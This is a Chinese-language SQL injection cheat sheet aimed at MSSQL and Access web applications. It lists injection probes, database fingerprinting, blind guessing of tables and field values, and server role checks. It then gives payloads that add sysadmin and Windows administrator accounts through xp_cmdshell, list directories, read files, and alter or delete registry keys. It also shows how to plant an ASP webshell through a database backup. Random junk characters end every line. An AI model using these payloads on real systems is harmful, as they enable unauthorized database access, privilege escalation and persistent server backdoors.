1.判断是否有注入;and 1=1 ;and 1=2 kqvJ&7
2.初步判断是否是mssql ;and user>0 W}2 &Pax
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3.注入参数是字符'and [查询条件] and ''=' vZeYp
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' I,<54?vS
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5.判断数据库系统 +F~0\#d
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;and (select count(*) from sysobjects)>0 mssql ;#yu"6{
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;and (select count(*) from msysobjects)>0 access "gvw0)
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 NC.P2^%
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 $#7J\=GZ+
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 y{`(|,[
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9.(1)猜字段的ascii值(access) ZE8/ m")
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 X`3vSCn
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 \l]pe|0EW
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10.测试权限结构(mssql) {y&\?'L'
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 9]L! .
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 02W4-*)
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- bwSRJFqb
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- @4_rx u&
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- V%BJNJ
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- -4vHK!l
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;and 1=(select IS_MEMBER('db_owner'));-- "y~muE:.
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11.添加mssql和系统的帐户 9iGE`1N%E
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;exec master.dbo.sp_addlogin username;-- @L[PW@:SZ
;exec master.dbo.sp_password null,username,password;-- /lr1hW~Dbk
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- c?.r"5#
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;exec master.dbo.xp_cmdshell 'net user username password w>6"Sc7oc2
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- nIyROhZ
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- ;]gsJ9FK<
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- ~KAp\!,
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12.(1)遍历目录 U]V3DDN
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;create table dirs(paths varchar(100), id int) `Di ^6UK(
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;insert dirs exec master.dbo.xp_dirtree 'c:\' #~H%[s a
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;and (select top 1 paths from dirs)>0 c~gNH%1XN
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) vzY'+9q1.
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(2)遍历目录 {cR_?Y@
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- iK5]y+@8
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 +{,N X
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 r6d0x
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 H GO#e
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 Z/2,al\
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13.mssql中的存储过程 MU_!&(X_
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xp_regenumvalues 注册表根键, 子键 )-bD2YA{
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 NuC-qG#
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xp_regread 根键,子键,键值名 *Q bM*oH
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;exec xp_regread FU_fCL8yA
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 q';&SR#"`K
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xp_regwrite 根键,子键, 值名, 值类型, 值 h5L=M^z!>
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 WGH%92
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 i&'#+f4t
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xp_regdeletevalue 根键,子键,值名 @GN(]t&3
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 kCj`V2go
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 w Y8@1>ah
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14.mssql的backup创建webshell Ct4LkmD
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use model J'oDOn.M
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create table cmd(str image); U(U@!G)
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insert into cmd(str) values (''); `TUZZz
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backup database model to disk='c:\l.asp'; C">`' G2
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15.mssql内置函数 d; 9*l!CF
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;and (select @@version)>0 获得Windows的版本号 )VNM/o%Q
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa z)}3**3'y
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;and (select user_name())>0 爆当前系统的连接用户 \ jECSV|
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;and (select db_name())>0 得到当前连接的数据库 4w'lu"U
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16.简洁的webshell %B@!
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use model Z+ixRch@-s
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create table cmd(str image); M|d={o9Hp
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insert into cmd(str) values (''); )D;*DUtMVm
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backup database model to disk='g:\wwwtest\l.asp';